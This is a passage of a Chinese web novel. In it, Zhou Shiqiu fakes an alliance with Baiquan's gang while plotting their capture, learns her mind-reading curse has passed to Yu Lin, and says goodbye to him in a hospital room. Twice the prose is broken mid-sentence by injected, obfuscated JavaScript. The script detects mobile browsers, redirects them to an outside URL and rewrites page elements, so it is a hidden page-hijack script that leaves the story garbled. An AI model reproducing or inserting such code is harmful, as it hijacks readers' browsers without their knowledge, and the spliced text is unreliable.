纪骞宏毫不生分地在花店里踱着步,带着点奉承的口吻道:“周小姐这么聪明,肯定不会轻易将自己暴露在进研所的视野里,连我都不知道周小姐借用了齐小姐的账号做危代人,进研所又怎么可能查得到呢?” 过于自信的发言,让周拾秋莫名想笑,但她强忍住笑意,没有暴露真实想法。 戏还得继续演下去。 周拾秋语气冰冷:“哼,百泉应该明白,我无意与你们同流合污。现在进研所的注意力锁定在庾林身上,你们还能拿什么威胁我?” 其实说这句话时,周拾秋挺希望能将他们的注意力吸引到家人和齐绮身上,这样一来,他们会在不知进研所早已布防的情况下,落入她设下的圈套。 然而,纪骞宏的回答让她的希望落了空。 “嗯,的确暂时动不了庾先生啊,真可惜。”纪骞宏嘴上说着可惜的话,表情却不然,话锋一转又道,“不过昨晚我们发现了点有意思的东西。” 纪骞宏的话让周拾秋心头莫名一紧,心仿佛被什么东西硬拽了一下,一股不好的预感油然而生。 见她沉默不语,纪骞宏又笑嘻嘻地继续说:“庾先生住院真频繁,好像天生身体就不好。” “是又怎样?”周拾秋的唇角不由得抽搐了一下。 纪骞宏眼底浮现出意义不明的笑意,声情并茂地向周拾秋倾诉:“基于对庾先生病情的关心,我送百泉到庾家走了一趟,拜访了庾先生的父亲。” 听到这句话,周拾秋的担忧中又参杂了一丝好奇,“你们如何做到的?” 纪骞宏脸上闪过一丝得意,炫耀一般,竖起手掌,在五指张开的瞬间,手掌前出现一个拳头大小的黑洞。 这一次,黑洞没有将纪骞宏整个人吸进去,而是像是火焰烧穿了一幅画,并在画上留下一个焦黑的窟窿,而焦黑的痕迹不断向四周扩张。 不过片刻功夫,那个黑洞变得跟脸差不多大。 周拾秋谨慎地挪了挪步子,调整视角,竟在黑洞中看到了全然不同的景象,百泉正在黑洞的另一边,朝着她挥着手。 就像是一把火烧穿了两个时空。 看到周拾秋脸上惊讶的表情,纪骞宏满意地收敛了异能。 黑洞凭空消失,房中一切又恢复了原样。 纪骞宏不忘贴心地解释:“想必周小姐已经知道了,我的异能是空间转移,只要在接触过的人身上留下锚点,我就可以自由连接那人所在的空间。” 经他提醒,周拾秋想起,庾林的父亲曾暗中以庾林的名义签署过生命协议,自然可能与纪骞宏接触过。 因此,直接开启空间通道,送百泉去见庾林父亲也不是什么难事。 “所以,百泉又变成谁去骗人?”周拾秋阴阳怪气地问。 纪骞宏并不在意她不善的口吻,笑眯眯地坦白:“自然是庾双。” 心跳猛然加剧,一些答案呼之欲出,周拾秋只能故作镇定,问:“然后呢?你们查到了什么?” 纪骞宏的笑愈发放肆,“以前我只听说,庾先生这个人不好相处,甚至厌女,没想到别有内情。啧啧啧,真可怜,怎么有人会因与异性接触而命悬一线呢?” 纪骞宏的眼中没有同情,只有幸灾乐祸。 在他看来,拿捏了庾林,也就拿捏了周拾秋。 “呵呵,所以喃?你是觉得你们可以突破进研所的封锁,还是觉得我不会像上次那样对你们动手?”周拾秋依旧在硬撑。 其实她心里清楚,庾林的弱点暴露,也就意味着她的弱点暴露了。 很快,纪骞宏的话就彻底打消了她侥幸的想法。 “进研所能守护一个普通人到何时呢?周小姐又怎么敢确定,危机管理局的手环永远会戴在庾先生手腕上呢?这世上,可从不乏意外。” 妥妥威胁的话。 周拾秋的心情很糟,她想现在就干掉纪骞宏这个令她不快的家伙。 但是,理智在耳边劝诫:死一个纪骞宏就能结束一切吗?百泉呢?百泉身后的人呢? 是的,如果她不将这伙人一网打尽,危险永远都会存在。 她不能冒险。 周拾秋低头轻声笑了起来,在纪骞宏疑惑的目光注视下,她妥协一般回道:“你们赢了!” 话音刚落,纪骞宏的脸上便露出了胜利的微笑,手掌竖立,五指张开,那仿佛可以吞噬一切的黑洞再次出现。 纪骞宏对她做了一个请的姿势,邀她一同离开。 “等等。”周拾秋脚下未动,出言叫住他,言辞坚决地说,“我现在还不能跟你走。” “为什么?”纪骞宏的表情带着一丝不解,还有几分怀疑。 周拾秋讪笑:“既然你们能用庾林威胁到我,以后进研所也能如此,庾林这个软肋不先解决,你放心我加入吗?不怕我随时跳反?” “呵呵,没了软肋,你不更好跳反吗?” 与百泉不同,纪骞宏并不信任周拾秋,所以百泉采用劝说和洗脑,而他采用威胁。他大概想将庾林作为控制周拾秋的棋子,周拾秋自然不会让他得逞。 “我要合作的人不是你,回去告诉百泉,想要我加入,需要让我看到你们的实力与诚意。”周拾秋淡定地靠在柜台上,似笑非笑地说道。 “什么意思?”纪骞宏不耐 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周拾秋一点一点陷入了阴暗的想法里。 正当她蜷缩在楼梯间,思考着恶毒的计划时,手机铃声将她暂时从黑暗中拉回。 接起电话,对面传来庾林充斥着阳光暖意的声音。 庾林:“醒了?” 周拾秋:“嗯,刚吃过早饭。” 庾林:“我刚做完检查,一切都好,再观察几天应该就能出院了。” 周拾秋:“想我接你出院?” 庾林:“嗯,但不行,进研所一时半会不会走。” 周拾秋:“知道还说这些?” 庾林:“想听听你的声音。” 周拾秋:“我们高冷的庾总监什么时候变成粘人精了?” 庾林:“是啊,该怪谁呢?” 周拾秋:“哼,如果要怪我,我肯定翻脸,你最好想清楚再说。” 庾林:“嗯嗯,怪我。” 周拾秋:“这还差不多。” 庾林:“出院后我打算搬到禁仿区住,好心的乌鸦小姐愿意收留我吗?” 周拾秋:“啊?我哪有房间给你住。” 庾林:“你的房间不可以吗?” 周拾秋:“你、你、你想什么呢!谁要跟你一起睡了……” 庾林:“嗯嗯,你不想,是我想。” 周拾秋:“啊啊啊啊……你闭嘴!” 庾林如今似乎有了新癖好,总以调戏她为乐,让周拾秋又羞又怒。 听周拾秋一通数落后,庾林总算收敛起开玩笑的心思,沉声告诉周拾秋,当初说的入赘不完全是玩笑,他确实有搬到禁仿区的想法。 当然,他要面对的问题还有很多,比如如何依靠在禁仿区根本起不了作用的仿生人设计手艺营生。 这些现实的问题他都在思考,之所以现在告诉周拾秋这些,只是希望周拾秋不会因为庾双说的话产生动摇。 而且,现在还有进研所监视着他,估计短时间内没法实现这个想法。 毕竟,他不能将进研所的人引到周拾秋身边。 对于他这些深思熟虑的想法,周拾秋只是以调侃的方式,取笑他想得太远了些。 庾林:“反正现在躺在床上无事可做,不如提前思考。” 周拾秋:“那你慢慢想,我得开店赚钱去了,万一哪天你真失业,我不得养你吗?” 庾林:“看来在乌鸦小姐心里,我已经比钱重要了。” 周拾秋:“才怪!” 话题就此终止,周拾秋以开店为由,催促庾林挂电话。但挂电话前,庾林又反复提醒周拾秋戴好手环,如果遇到进研所,至少能靠里人格启动躲过检测。 周拾秋感觉那晚后,庾林对她格外紧张。 没问缘由,周拾秋向庾林保证手环不离手后,便挂断了电话。 庾林来禁仿区住吗? 如果她还有未来的话,确实是个不错的想法。 118. 第118章 午后,周拾秋接到了褚成舟的电话,话题是关于诅咒检测一事。 褚成舟的行动很快,昨晚同意了周拾秋的要求后,第二天一早就回进研所申请了诅咒检测仪的使用。 即便他已经停职,可依然能使用不那么不重要的设备。 拿到诅咒检测仪后,褚成舟立马带施煦去了佑民医院,在VIP住院部约见了庾林。 按照与周拾秋的约定,褚成舟并未透露相关细节,只道是检测庾林身上的异能残留情况,方便确认进化者身份。 对此,庾林并未起疑。 于是褚成舟很快拿到了检测数据,并告诉周拾秋:“庾林体内的确存在诅咒。” 褚成舟对这个结果很是震惊,他难以理解为何一个普通人身上,会存在进化者才有的诅咒。 “能确定是什么诅咒吗?”周拾秋实际比他更加震惊。 可惜,诅咒类型千奇百怪,进研所只是基于已收集到的数据与情况进行整理研究。褚成舟可以拿着从庾林身体收集到的诅咒数据,回进研所比对已有数据,寻找数值接近的案例,大致推测其诅咒类型。 但,如果找不到相近的数据,就很难判断。 “有接触异性可能会毙命的诅咒吗?”周拾秋问。 褚成舟闻言哈哈大笑起来,“如果诅咒这么狠,那进化者的异能得厉害成啥样了啊!” “那读心能算是诅咒吗?”周拾秋又问。 这一问,把褚成舟彻底问沉默了。 过了好一会儿,褚成舟用阴沉的声音说道:“你究竟在说谁身上的诅咒,是你,还是庾林?” 周拾秋早已无心隐瞒,愁容满面地叹了口气,平静回答:“可以是我,也可以是庾林。” “等一下,你把诅咒转移给庾林了?”褚成舟的声音满是惊讶。 周拾秋没有回答,听褚成舟的口气,她大抵明白了,也许一开始就是她自己搞错了,为了求证,她反问褚成舟:“这世上有人存在主副两种异能吗?” 褚成舟用夸张的语气回答:“没有,有两种异能那还得了,无法无天了。” 周拾秋笑道:“你觉得读心作为诅咒就正常了吗?” “正常个屁,类似的诅咒我只听过一次,那已经是许久以前流传在进研所里的传说。”褚成舟嘀咕。 “是极危进化者吗?”周拾秋问。 “你从哪儿知道这些进研所机密的……”褚成舟略微警惕起来。 周拾秋忍不住打断道:“哎,这不重要,你知道诅咒转移的破解之法吗?除了死亡……” “果然,你的读心诅咒转移到庾林身上了吧?刚听你说接触异性毙命这种话,我就觉得奇怪,那不是诅咒,倒像是契约惩罚。” 褚成舟的回答与柴星曜打听到的消息如出一辙。 褚成舟自言自语回忆着以前与庾林的会面,恍然大悟一般,感叹着难怪总觉得庾林像是能看穿他的想法。 周拾秋对这些事并不感兴趣,思绪早不知飞到哪里去了,神游一圈回来,匆匆打断了褚成舟的絮叨,追问着解除契约的方法。 褚成舟有些失了颜面,咳嗽两声掩饰着尴尬,随即回道:“诅咒契约的研究案例过少,许久以来也就出过一例,还是进化者死亡解除的,这我怎么回答你?诅咒你怎么送出去的,就怎么拿回来呗。” “啧,我要是知道怎么送出去的,还用得着问你吗?”周拾秋不耐烦地嚷了一句。 褚成舟趁机讽刺:“堂堂夜白鹭怎么活得稀里糊涂的。” “要你管!”周拾秋一脸不悦骂道。 “我可以跟你说说那名极危进化者的故事。” “啧,听过了,不就是什么恶魔选中信徒的故事嘛,不爱听。” “……到底是谁在泄露进研所的机密……” “别说别人了,你不也在泄密吗?” “那不一样,你是将死之人,跟死人说的话,怎么能叫泄密呢?” “我谢谢你哦!” 褚成舟又将话题转了回来,“其实当年有人有不同见解,却因为过于美化进化者,未得认可,所以连研究报告都没有登记入册,偏偏我无意中翻到过。” 周拾秋阴阳怪气回应:“哦哦,太好奇了,好想知道啊……” 褚成舟直接无视了她的情绪发言,自说自话起来。 据说当年处决极危进化者后,那女子身上的诅咒随之消失,进研所研究人员曾询问过女子,关于诅咒转移之事。 可那女子反驳了研究人员对于进化者找人背负诅咒的猜想。 那女子说他们之间从不存在什么邪恶的交易,只是两个被风雪冻伤的人,选择了彼此,携手前行,相守相伴。 后来,那女子选择了轻生,以死亡控诉进研所夺走了她的往后余生。 大概是被女子的选择影响,有一位研究人员提出了另一种猜想: 他们之间或许的确存在某种契约,却不是邪恶的生命契约;诅咒转移未必是背负厄运,也可能是一种保护,又或者说是契约信物;排斥反应说不定不是背叛的惩罚,而是占有的印记。 这种猜想最终被进研所否决,研究报告被扔进废弃资料中等待销毁。 也许是报告主人的不甘心,让其藏进了资料库的角落,尘封几十年,直到有人无意中翻到。 周拾秋闻言不禁感叹:“原来你们进研所也有正常人!” 褚成舟冷言冷语:“哼,你就只爱听好听的罢了。” “废话,你喜欢听我骂你们进研所吗?”周拾秋反驳。 褚成舟无意跟她斗嘴,话锋一转说:“当初那名极危进化者的诅咒是预知。” 周拾秋大惊失色,“这么离谱?” 褚成舟冷笑:“你的读心也不遑多让。” 周拾秋愕然,这两个词怎么听上去都不像诅咒,说是异能,她都相信。 褚成舟倒是有不同的见解。 能预知未来却没有改变未来的能力,何尝不是一种惩罚? 能看穿人心也未必全是好事,有时候不知道反而是一种幸运。 周拾秋觉得说的有理。 褚成舟说完就要挂电话,周拾秋才想起还有重要的事没跟他说,急急叫停。她将纪骞宏现身的事告诉了褚成舟,并提醒褚成舟,暂时先不要监视她,改为加强佑民医院的戒备。 “这么重要的事你不早说!”褚成舟骂骂咧咧。 “啧,对我来说,搞清楚诅咒的事更重要。”周拾秋一脸不在意。 她将大致的计划告诉了褚成舟,一切只看百泉上不上钩,她希望到时候能借进研所之力,彻底铲除后患。 褚成舟听完沉默了片刻,接着严肃地提醒:“如果按照你的计划进行,你可就彻底暴露在进研所面前了,你确定要这么做吗?” 周拾秋故作轻松地笑道:“你是不是傻,反正你也会带我去进研所邀功不是吗?到时候我尽量不被其他人抓住,将这个功劳留给你可以吧?” 褚成舟愣了一秒,随即回了声:“也对。” 然后什么话都没说,就直接挂断了电话。 “啧,真没礼貌,就这么对待头等功吗?!” 周拾秋撅着嘴,对着手机屏幕就是一顿骂。 果然是一种契约吗? 周拾秋不由得思考起究竟何时何地与庾林缔结了这样离谱的契约。 思来想去,最可疑的只有五年前那场大火。 “难道是当时不经意的一点私心,将庾林和我绑定了吗?” 周拾秋忍不住如此怀疑。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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庾林追守旧者追到禁仿区的事,大概不止惊动了庾双,还惊动了他们的父亲庾万松。于是庾双临危受命,成了说服庾林的先遣部队。 可庾林哪里是那么容易劝动的人,倔得不行,说什么都听不进去,甚至直接扬言会搬到禁仿区去。 这可把庾万松气得不轻,庾双夹在中间也不好受,两头劝,努力想要修复父子关系,可惜两头都不讨好。 周拾秋面露苦笑,“你妈知道的还是太少了,庾木木跟那人的关系是不可能好了,就算没有我,也一样。” “啊?小舅舅跟你说什么了?”何洲一头雾水。 周拾秋自言自语道:“他就是什么都不说,才说明他没放下啊……” 何洲挠着头,一脸苦相,“兄弟,你说啥我怎么听不懂啊?” “没什么。”周拾秋强挤出一个微笑,“今后对你小舅舅好点,知道吗?别让他替你操心,凡事多向着他点,有事没事陪他胡闹。” “嗯?你这话听起来怪怪的……” “怎么说?” “因为我妈和外公反对,你没信心了?” “根本不没在怕的好吗!” “那干嘛说的跟你要走一样?” “哈哈哈,你不是反对我当你小舅妈么?” “嗐,我就随便感叹一下,你还当真了?” “昂,当真啦。” “哎呀,我的错,行了吧?” “那你打算怎么补偿我?” “怎么觉得被你套路了……” “嘻嘻,才发现吗?” 这晚,有何洲分散她的注意力,让等待的日子变得没那么难熬了。 119. 第119章 这天晚上,周拾秋和何洲聊到很晚,东一句西一嘴地聊了许多东西,有无意义的闲聊,也有让周拾秋感兴趣的东西。 比如他说起了小时候看到的庾林。 从何洲记事起,就感觉外公对小舅舅管束很严,稍有不满意就会苛责,对母亲倒是宽容,对他更是溺爱到不行。 他曾问过母亲,外公是不是不喜欢小舅舅。母亲让他不要乱说,管束严也可能是寄予厚望。 随着小舅舅逐渐独立,他们父子的关系更是一天天恶化。 大概是小舅舅太有主见,愈发不服从管控,外公心里就多了一根刺,看到小舅舅总觉得不顺眼。 寄予厚望这样的理由,便再也无法说服何洲了。 其实何洲曾偷偷向张婶打听过此事,而张婶也悄悄向他透露了点消息,这事他一直埋藏在心里许多年,不知真假,不敢求证。 据说小舅舅的母亲嫁给外公前,已经有喜欢的人了,外公算是横刀夺爱。她后来之所以会嫁给外公,是因为家里落难,为了帮家里渡过难关,才选择嫁给了条件更好的外公。 他们结婚后不久,就有了小舅舅,从此外公有了心病,每当看到小舅舅时,不免会多想。 这种事,他只听张婶说过一回,张婶要他保密,绝不能外传。 他遵守了约定,心里装着这个秘密一直到今日。 然后在医院病房里,听小舅舅和母亲争吵时,他才终于知道自己一直的感觉没有错。 小舅舅说外公恨不得他死,让母亲不要再白费心思修补两人关系。 母亲很是震惊,让小舅舅不要乱想,小舅舅便没有继续说下去了,但何洲感觉小舅舅心里有事,只是不想说出来。 后来小舅舅说等出院后,打算从态宇仿生科技卸任,办理改籍,搬去禁仿区。 母亲惊得不行,心里并不同意,却改变不了小舅舅的决意,只能退而求其次,允许小舅舅与周拾秋交往,并尝试说服外公。 小舅舅却没有接受她这番好意,直言此事不是同她商量,只是知会一声。 对于这件事,何洲其实是支持的,从小到大,他都觉得小舅舅很有想法,所以不管小舅舅做出什么决定,他都无条件支持。 可惜家里除了他,应该没人会同意。 不过,小舅舅根本不在乎。 而何洲之所以会来花店找周拾秋,并不仅仅为了躲避麻烦,还想确认周拾秋的心意。 周拾秋对此只是笑而不语。 那应该是很久以后的事情,而她考虑不了那么远,今后会如何发展,似乎还没有定。 于是周拾秋只是劝道:“你一个小屁孩管这么多干嘛,大人的事让大人自己解决,你静观其变不就好了。” “哇,兄弟,你真会说,就像这事与你无关一样。”何洲不满地抱怨。 “嘿嘿,他要来,我欢迎,不来也无所谓,顺其自然吧。”周拾秋答得轻巧。 这天晚上,两人聊到凌晨2点,何洲在沙发上睡了一夜,第二天吃过早饭,就被周拾秋赶走了。 但周拾秋让何洲最近别去医院,要么回家,要么去找同学玩玩。 何洲问她原因,她只说:“难道你还想听你妈跟你小舅舅吵架吗?” 何洲觉得有道理,随即告辞离开。 此后,周拾秋一直在等百泉的联系,可百泉似乎很是谨慎,一连两天没有动静,不知在暗处准备着什么阴谋诡计。 这一等,就等到了1月4日夜里。 周拾秋吃过晚饭后没事做,索性出门夜跑一圈,试图用运动平复焦躁的心情。 等跑完步,回到花店时,她发现店门口站着一个身影,眼中寒光乍现。 那人看上去很陌生,一身低调的打扮,头上戴着鸭舌帽,帽檐压得很低。一看到周拾秋出现,那人就十分熟络地朝她招了招手。 从那人浑身散发出的隐隐异能气息,周拾秋认出那是百泉。 跟着周拾秋进了店,来到二楼客厅,百泉才摘掉帽子,恢复了本来样貌。 没有多余的寒暄,百泉开门见山问道:“怎么突然改变主意了?” 周拾秋漫不经心地回答:“突然觉得累了,一个男人,却需要我保护,还会成为我的负担。” “之前我就说他配不上你,你怎么听不进去。” 百泉坐在沙发上,一只手托着下巴,仔细打量着周拾秋的脸,若有所思,似乎是在确认周拾秋说的话几分真几分假。 周拾秋神情自若地瘫坐在沙发上,疲惫地挥了挥手。 “别提了,以前还想着他至少有钱,可现在听说他打算离开庾家,辞掉工作,搬来禁仿区,我不止得保护他的安全,还得养他,换你,你能觉得舒坦?” “哈哈哈哈……”百泉捧腹大笑。 似乎接受了她这个解释,百泉接着便问她有何打算。 周拾秋告诉百泉:“既然想拉我入伙,就得先让我看看你们的本事,我可不希望找一群猪队友。” 她的眼神锐利,散发出挑衅的光芒,莫名给人一种目中无人的高傲感。 百泉点点头表示理解:“可以,你想怎么看?” 周拾秋勾起唇角,轻笑一声,“敢不敢带上所有人,陪我闯一次佑民医院?” “有什么不敢!”百泉自信满满,轻易接受了挑战,甚至还挑衅道,“那你也会彻底暴露身份,踏出这一步,可就没有回头路咯,不怕吗?” 周拾秋冷淡回答:“都已经打算改变世界了,还有后退可言吗?” 两人就此达成一致,并约好三日后,也就是1月7日天亮前行动。 在正式行动开始前,由百泉等人探查医院布防情况,并制定行动路线。至于周拾秋,届时只要纪骞宏将她送到庾林所在的病房,她会亲自解决庾林这个麻烦。而后,他们再汇合,一同逃出凌沪市。 交谈时,百泉难掩兴奋,而周拾秋心里却另有算计。 给了自己三天缓冲时间,周拾秋找机会将消息传递给了褚成舟,至于到时候能不能一网打尽,就看进研所的本事了。 不过,在1月7日前,褚成舟得保证不会打草惊蛇,安排在医院的人手暂时不做改变。 一切静待行动之日的到来。 这几日,百泉不时会带人传送到花店,与周拾秋交流探查到的情况,修改行动方案。与此同时,周拾秋也见到了他们这个犯罪团伙的所有人。 让她有些意外的是这个犯罪团伙其实就四个人,百泉、纪骞宏、花惜宁和书晨。 确定再无其他成员,周拾秋心里也算有了底,毕竟只要有一条漏网之鱼,都会是后患。 1月6日这天,周拾秋以与亲人道别为由,提出要去了一趟滨山区。 纪骞宏第一个表示反对,担心会因此泄露他们的计划,花惜宁和书晨也赞同纪骞 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一边欣赏风景,她一边给齐绮打了个电话,简单询问了家里的近况。 话没有太多,她只是拜托齐绮今后多帮她照顾家人。 从她的话中听出异常,齐绮便问她是否已经见到了百泉。 她从来都很难瞒住齐绮,便老实交代了她与褚成舟的计划,而这个计划的时间马上就要到了,所以今天是来同齐绮道别的。 听到电话里齐绮强忍哭泣故作坚强的声音,她终究对过去的生活产生了一丝不舍,于是她忍不住又编造了谎言。 “哎,没事,我联系过柴星曜了,他说会想办法帮我逃出凌沪市。哼,利用完再翻脸不认账这种事我干得出来,你又不是不知道。” “你最好是!” 两人没说太多矫情的话,齐绮答应帮她照顾家人,好好经营她们的花店,并希望有一天能等到她回家。 就此达成约定,周拾秋挂断了最后一通电话。 她是极危进化者,被抓住后,面临的不是人格改造,而是直接处决,这个真相她实在说不出口。 柴星曜帮不了她,她明天大概会跟百泉他们一样,逃不出进研所的包围网。 至少给齐绮留点希望吧。 在风行台悠闲地看了许久风景,她又驱车去了一次滨山水族馆。不是去游玩,只是站在水族馆正门外,看着大屏幕上滚动的照片和名字。 她等了很久,才等到她与大家的合影。 照片中,只有她一个人一脸不高兴,其余人都是笑容满面。 庾林就站在她身旁,低头看着她,两根手指抵在她唇角,试图让她的嘴唇弯出一个微笑的弧度,而她与之对抗,疯狂将嘴角下压。 庾林与其他人一样,脸上满含笑意,却是在取笑她冲镜头发脾气。 照片消失,她又等了一轮。 足足站在门外看了三轮,她才似乎终于将那个画面印在脑海中,带着些许不舍,离开了滨山区。 等回到花店时,天已经黑了。 一进门,她就被坐在花店里的四位进化者吓了一跳。 “这么晚还在呢?” 周拾秋疑惑地看着四人,心里嘀咕着这么晚怎么四人还没有离开。 “计划有变,我们今晚就行动!”百泉下命令一般冷冷开了口。 120. 第120章 几乎不给周拾秋任何反应的时间,她刚将带回的礼物放在柜台上,就被百泉拉着出了门,其余三人紧随其后。 等周拾秋回过神时,已经被百泉推进了汽车后座。 纪骞宏从她手里抢过车钥匙,发动了汽车。 书晨将花惜宁抱到后座,又将轮椅放入后备箱,接着坐到了副驾。 整个过程行云流水,周拾秋被百泉和花惜宁夹在中间,犹如一名人质。 当汽车向着自由区飞奔而去时,周拾秋忍不住质问:“这是干嘛?不是明早行动吗?” 车内气氛诡异,只有纪骞宏意有所指一般回了句:“夜长梦多。” 直觉告诉周拾秋,在她去往滨山区这段时间,这四只狡猾的狐狸一定背着她商量了什么诡计。 而这个始作俑者,大概率是纪骞宏。 “哼,怕什么?”周拾秋面露讥笑。 百泉安抚道:“反正情况已掌握,打进研所个措手不及也不错,对我们来说,优势更大,对吧?” 措手不及吗? 这句话的隐藏含义,不就是害怕进研所有所准备吗? 莫非他们知道了她的计划? 不,如果真知道了,应该逃跑才对,没必要现在拉上她去医院。 就算不知情,纪骞宏对她的不信任还是板上钉钉的事。 细想之下,大概是她去滨山区的举动让纪骞宏产生了提防之心。 也许不是怀疑她会与进研所勾结,但肯定担心她与家人见面,可能会暴露些许信息,进而影响他们明早的行动。 因此,这四人干脆决定将行动提前了。 这样的结果在周拾秋意料之外,此刻骑虎难下,她无法通知褚成舟,也没理由将计划叫停,只能硬着头皮上,希望留在佑民医院监视的进研所专员能足够机灵。 佑民医院里,纪骞宏能确定的锚点只有庾林一人。 他不能直接将所有人全部传送到庾林所在的病房里,那样一来,风险过于集中,如果不能立刻传送走,那就可能会被进研所抓住。 因此他们按照计划,驱车前往佑民医院附近,再兵分三路行动。 两小时后,车开进了距离佑民医院百米远的一条暗巷里。 他们提前踩过点,这里是接近佑民医院最极限的距离,再往前,就会踏入进研所的监控范围。 接下来,书晨将与花惜宁一起行动,直接前往佑民医院引发骚动,吸引所有人的注意。 纪骞宏则通过空间传送,将周拾秋送往庾林所在的病房,助她完成最终目的。 至于百泉,作为锚点留在车上,等待接应众人撤离。 整个过程不能超过十分钟,必须速战速决。一旦情况危急,纪骞宏便会发动异能,依次通过锚点定位到众人位置,拉他们逃离进研所监控范围。 这就是他们原本的计划。 在他们制定好这个计划后,周拾秋便偷偷打电话给褚成舟,将计划内容尽数告之,并让他安排好兵力,在1月7日原定行动时间,打他们个措手不及。 只可惜,行动提前了。 此刻进研所的兵力大概还没有安排就位。 周拾秋愁眉不展时,百泉已经布置好任务。见周拾秋发呆,百泉拍了拍她的肩膀,认真叮嘱:“进研所在医院四周的部署我们基本已经探查清楚了,只是医院里面,特别是那个理想者的住院楼层,我们没法探知。” “哦,我知道,进去后我见机行事。”周拾秋随口应了一声。 “嗯,我相信你没问题,但还是小心,如果情况不对,立即随骞宏撤离。” 百泉的关心让周拾秋感觉一阵恍惚,仿佛又看见了百泉五年前的影子,一时有些失神,对于自己的计划,莫名产生一丝愧疚。 “你最好动手利落些,我跟书晨那个蠢货,拖延不了太久。”花惜宁一脸傲慢地提醒周拾秋。 书晨看上去倒是一副无所畏惧的模样,对着花惜宁就是一顿嘲讽:“有我在,怕啥,你抓紧我,别从我背上摔下去就成,看我不把进研所那些家伙砸成肉泥。” “哼,管好你自己,别拖我后腿。”花惜宁白了他一眼,满脸写着不耐烦。 “赶紧行动吧,周小姐,请。” 纪骞宏说着开门下车,候在一旁等着周拾秋上前。 书晨紧随着下车,背上花惜宁,眼神示意纪骞宏行动开始,随即发动异能提高体能,极速向着医院大门方向奔袭。 他刚消失在暗巷入口,医院方向就传来的警报声。 “走!” 纪骞宏当即开启空间黑洞,拉着周拾秋走了进去。 不过一眨眼的功夫,周拾秋就与纪骞宏一起踏入了2003病室。 “啊啊啊——来人啊!” 一声尖锐的叫声刺入周拾秋耳膜,伴随着充斥于整个医院中令人心烦的警报声,一个人影向着房门方向奔跑。 纪骞宏正要上去拦截,周拾秋已经快他一步行动,瞬间发动异能控制住了那人。 尖叫声顿时消失,奔向房门方向的人完全失去意识,径直摔倒在地上,一动不动。不过同时失去意识摔倒在地上的还有纪骞宏。 “周小姐?”一个熟悉的声音响起。 一切发生得太快,周拾秋还来不及看清房中是什么情况。 她快速扫了一眼四周,只见庾双和纪骞宏已经被她放倒。 康管家站在开放式厨房里,削苹果的动作像是按下了暂停键,脸上满是错愕。 而庾林此刻靠坐在病床上,对于眼前发生的一切,也是目瞪口呆。 房间里似乎也被进研所安装了监测仪器。从周拾秋和纪骞宏进入房间起,就一直发出刺耳的警报声。 “闭嘴!” 随着周拾秋一声怒吼,房间里的警报声应声消失。 烦人的声音虽然消失了,但进研所的人肯定已经接收到了信号,预计很快就会派人赶来。 “康管家,能帮我个忙吗?看到进研所的人上楼了,麻烦告诉我一声。”周拾秋笑着拜托道。 “好。” 康管家看了庾林一眼,没多问,将剩下一点苹果皮削掉,顺手递给周拾秋,然后转身便走出了房间。 周拾秋此刻才想起一天没吃饭了,咬了一口苹果,对庾林说了声“好甜”。 “这么大阵仗,不是来探病的吧?” 庾林站起身,朝周拾秋走了过来,一只手揽上她的腰,一只手将她拿着苹果的手搭上他的肩膀,微微偏着头,吻上了她的唇。 周拾秋先是一愣,随后在温柔的触碰下,渐渐闭上了眼。 手指抚上庾林的脸颊,指腹一路摩挲着往下,感觉呼吸愈发急促,腰后那只手不断将她推向庾林。 身体随着呼吸,挤压,又分离,蹭得周拾秋心里痒痒的。 想要继续下去,可理智终是叫醒了她差点沉沦的意识。手在庾林胸口用力推了推,让呼吸凌乱的两人分隔出一道间隙。 眼前的庾林依然眼神迷离,隐隐藏着水气,贪婪地感受着她的气息,刚分开一点,喘息间,又低头咬了上来。 周拾秋急忙用手捂住了庾林的嘴。 拒绝让庾林稍微找回理智,眼尾含笑,细密的吻却落在了周拾秋的手心。 周拾秋赶紧抽回手,转身挣脱了庾林,将苹果塞进嘴里,试图冷却快要着火的脑子。 庾林却又从身后拥住了周拾秋,但没再做过分的事,只是抱着她,带着笑意的声音在她耳边响起,低沉,又有些勾人。 “嗯,很甜。” 周拾秋浑身一激灵,“什么?” “我说苹果。”庾林抬手指了指她手里被咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15307549|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了几口的苹果。 “你最好说的是苹果!”周拾秋微微红了耳廓。 “所以,怎么到这里来了,应该不是想我了吧?” 一阵叹息在耳边响起,周拾秋的心也跟着沉了下去,连手里的苹果都变得寡淡无味。 “你先放开我。”周拾秋轻声命令。 然而庾林就像没听见似的,环在她腰上的手反而更加用力,仿佛要将她压进身体里。 是啊,她怎么可能骗得了庾林呢? 这个家伙可是继承了她的诅咒啊,当她出现在他视线范围内时,她的心思就彻底暴露在他的眼睛里。 “你都知道了,那就好好跟我道别。” 周拾秋强逼着自己挤出一个无所谓的笑容,故作轻松地说着,“时间不多了,进研所的人不会傻到全部被引走,很快就会有人来这个房间。” “我知道,我知道……可是……我放手了,你就真的会离开我了……” 庾林的声音带着挣扎与绝望,理智催促着他放手,可本能却在拒绝。 周拾秋咬着唇,一点一点掰开了庾林的手指,转过身,将苹果塞进了庾林的手里。 一抬头,她看到的是一张濒临破碎的脸,红着眼,又强逼着自己,维持住体面的形象。 周拾秋强势藏起情绪,冲着庾林淡淡一笑,坦诚道:“我跟褚成舟的计划失败了,庾木木,我不能在这里被抓到。” 庾林没说话,只是点了点头。 “就算今天他们抓了纪骞宏,抓了书晨和花惜宁,也抓不住百泉,原来的计划行不通了,我大概得改计划了。”周拾秋耐心地解释着。 “你来见我,是想彻底与我了断?”庾林艰难地点破了周拾秋的打算。 周拾秋没有隐瞒,默默点了点头。 “我大概知道怎么解决你身上的异能和心病了。” 